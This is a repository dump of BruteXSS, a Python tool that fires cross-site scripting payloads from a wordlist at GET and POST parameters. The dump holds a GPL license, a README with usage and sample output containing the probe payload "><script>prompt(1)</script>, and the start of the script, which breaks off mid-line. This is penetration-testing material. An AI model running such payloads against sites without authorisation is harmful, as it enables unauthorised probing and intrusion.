[
  {
    "path": ".gitignore",
    "content": "*.sh linguist-language= bash\n"
  },
  {
    "path": "BruteXSS/License.txt",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "BruteXSS/README.md",
    "content": "#BruteXSS  \n#The redistribute version is at https://github.com/ym2011/penetration/tree/master/BruteXSS  \n#there are more payload added into the file  \nBruteXSS - Cross-Site Scripting BruteForcer  \n\nAuthor: [Shawar Khan](https://shawarkhan.com)  \n\n**The BruteXSS project is sponsored and supported by [Netsparker Web Application Security Scanner](https://www.netsparker.com)**  \n\nDisclaimer: I am not responsible for any damage done using this tool. This tool should only be used for educational purposes and for penetration testing.  \n\n\n###Compatibility: \n* Windows , Linux or any device running python 2.7\n\n###Requirements: \n\n* Python 2.7\n\n* Wordlist included(wordlist.txt)\n\n* Modules required: Colorama, Mechanize\n\n\n###Modules Required:\n\n* Colorama:  https://pypi.python.org/pypi/colorama/\n\n* Mechanize: https://pypi.python.org/pypi/mechanize/\n\n\n###Description:\n**BruteXSS** is a very powerful and fast Cross-Site Scripting Brutforcer which is used for bruteforcing a parameters. The BruteXSS injects multiple payloads loaded from a specified wordlist and fires them at the specified parameters and scans if any of the parameter is vulnerable to XSS vulnerability. BruteXSS is very accurate at doing its task and there is no chance of false positive as the scanning is much powerful. BruteXSS supports POST and GET requests which makes it compatible with the modern web applications.\n\n###Features:\n\n* XSS Bruteforcing\n\n* XSS Scanning\n\n* Supports GET/POST requests\n\n* Custom wordlist can be included\n\n* User-friendly UI\n\n###Usage(GET Method):\n\n```\nCOMMAND:  python brutexss.py\nMETHOD:   g\nURL:      http://www.site.com/?parameter=value\nWORDLIST: wordlist.txt\n```\n\n###Usage(POST method):\n\n```\nCOMMAND:   python brutexss.py\nMETHOD:    p\nURL:       http://www.site.com/file.php\nPOST DATA: parameter=value&parameter1=value1\nWORDLIST:  wordlist.txt\n```\n\n###Output:\n\n```\n  ____             _        __  ______ ____  \n | __ ) _ __ _   _| |_ ___  \\ \\/ / ___/ ___| \n |  _ \\| '__| | | | __/ _ \\  \\  /\\___ \\___ \\ \n | |_) | |  | |_| | ||  __/  /  \\ ___) |__) |\n |____/|_|   \\__,_|\\__\\___| /_/\\_\\____/____/ \n                                            \n BruteXSS - Cross-Site Scripting BruteForcer\n \n Author: Shawar Khan - https://shawarkhan.com                      \n\n\nSelect method: [G]ET or [P]OST (G/P): p\n[?] Enter URL:\n[?] > http://site.com/file.php\n[+] Checking if site.com is available...\n[+] site.com is available! Good!\n[?] Enter post data: > parameter=value&parameter1=value1\n[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)\n[?] > wordlist.txt\n[+] Using Default wordlist...\n[+] Loading Payloads from specified wordlist...\n[+] 25 Payloads loaded...\n[+] Injecting Payloads...\n\n[+] Testing 'parameter' parameter...\n[+] 2 / 25 payloads injected...\n[!] XSS Vulnerability Found! \n[!] Parameter:\tparameter\n[!] Payload:\t\"><script>prompt(1)</script>\n\n[+] Testing 'parameter1' parameter...\n[+] 25 / 25 payloads injected...\n[+] 'parameter1' parameter not vulnerable.\n[+] 1 Parameter is vulnerable to XSS.\n+----+--------------+----------------+\n| Id | Parameters   |     Status     |\n+----+--------------+----------------+\n| 0  |  parameter   |  Vulnerable    |\n+----+--------------+----------------+\n| 1  |   parameter1 | Not Vulnerable |\n+----+--------------+----------------+\n\n```\n"
  },
  {
    "path": "BruteXSS/brutexss.py",
    "content": "#!/usr/bin/env python\n#!BruteXSS\n#!Cross-Site Scripting Bruteforcer\n#!Author: Shawar Khan\n#!Site: https://shawarkhan.com\n\nfrom string import whitespace\nimport httplib\nimport urllib\nimport socket\nimport urlparse\nimport os\nimport sys\nimport time\nfrom colorama import init , Style, Back,Fore\nimport mechanize\nimport httplib\ninit()\nbanner = \"\"\"                                                                                       \n  ____             _        __  ______ ____  \n | __ ) _ __ _   _| |_ ___  \\ \\/ / ___/ ___| \n |  _ \\| '__| | | | __/ _ \\  \\  /\\___ \\___ \\ \n | |_) | |  | |_| | ||  __/  /  \\ ___) |__) |\n |____/|_|   \\__,_|\\__\\___| /_/\\_\\____/____/ \n                                            \n BruteXSS - Cross-Site Scripting BruteForcer\n \n Author: Shawar Khan - https://shawarkhan.com \n \n Sponsored & Supported by Netsparker Web Application Security Scanner ( https://www.netsparker.com )\n\n Note: Using incorrect payloads in the custom\n wordlist may give you false positives so its\n better to use the wordlist which is already\n provided for positive results.\n\"\"\"\ndef brutexss():\n\tif os.name == 'nt':\n\t\tos.system('cls')\n\telse:\n\t\tos.system('clear')\n\tprint banner\n\tdef again():\n\t\tinp = raw_input(\"[?] [E]xit or launch [A]gain? (e/a)\").lower()\n\t\tif inp == 'a':\n\t\t\tbrutexss()\n\t\telif inp == 'e':\n\t\t\texit()\n\t\telse:\n\t\t\tprint(\"[!] Incorrect option selected\")\n\t\t\tagain()\n\tgrey = Style.DIM+Fore.WHITE\n\tdef wordlistimport(file,lst):\n\t\ttry:\n\t\t\twith open(file,'r') as f: #Importing Payloads from specified wordlist.\n\t\t\t\tprint(Style.DIM+Fore.WHITE+\"[+] Loading Payloads from specified wordlist...\"+Style.RESET_ALL)\n\t\t\t\tfor line in f:\n\t\t\t\t\tfinal = str(line.replace(\"\\n\",\"\"))\n\t\t\t\t\tlst.append(final)\n\t\texcept IOError:\n\t\t\tprint(Style.BRIGHT+Fore.RED+\"[!] Wordlist not found!\"+Style.RESET_ALL)\n\t\t\tagain()\n\tdef bg(p,status):\n\t\ttry:\n\t\t\tb = \"\"\n\t\t\tl = \"\"\n\t\t\tlostatus = \"\"\n\t\t\tnum = []\n\t\t\ts = len(max(p, key=len)) #list\n\t\t\tif s < 10:\n\t\t\t\ts = 10\n\t\t\tfor i in range(len(p)): num.append(i)\n\t\t\tmaxval = str(len(num)) #number\n\t\t\tfor i in range(s) : b = b + \"-\"\n\t\t\tfor i in range(len(maxval)):l = l + \"-\"\n\t\t\tstatuslen = len(max(status, key=len))\n\t\t\tfor i in range(statuslen) : lostatus = 